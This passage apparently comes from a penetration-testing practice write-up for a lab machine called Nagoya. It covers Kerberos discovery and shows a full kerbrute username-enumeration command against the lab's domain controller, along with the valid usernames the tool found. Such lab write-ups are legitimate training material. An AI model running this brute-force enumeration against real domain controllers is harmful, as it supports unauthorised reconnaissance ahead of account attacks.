Nagoya_Kerbereos

Kerbereos

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Nmap discovered a KDC service on the target ports 88 and 464 The running service is Microsoft Windows Kerberos

Username Enumeration

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While I do not know the naming convention that the target domain uses, I will attempt to enumerate usernames as much as possible by brute-forcing the KDC I will get that running in the background while enumerating other services for efficiency

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nagoya]
└─$ kerbrute userenum --dc nagoya.nagoya-industries.com -d NAGOYA-INDUSTRIES.COM /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 200
 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 
Version: v1.0.3 (9dad6e1) - 04/23/25 - Ronnie Flathers @ropnop
 
2025/04/23 14:26:24 >  Using KDC(s):
2025/04/23 14:26:24 >  	nagoya.nagoya-industries.com:88
 
2025/04/23 14:26:24 >  [+] VALID USERNAME:	 administrator@NAGOYA-INDUSTRIES.COM
2025/04/23 14:26:26 >  [+] VALID USERNAME:	 Administrator@NAGOYA-INDUSTRIES.COM
2025/04/23 14:26:39 >  [+] VALID USERNAME:	 nagoya@NAGOYA-INDUSTRIES.COM
2025/04/23 14:28:41 >  [+] VALID USERNAME:	 Nagoya@NAGOYA-INDUSTRIES.COM
2025/04/23 14:56:57 >  Done! Tested 8295455 usernames (4 valid) in 1832.725 seconds

I had kerbrute running in the background for awhile. Only defaults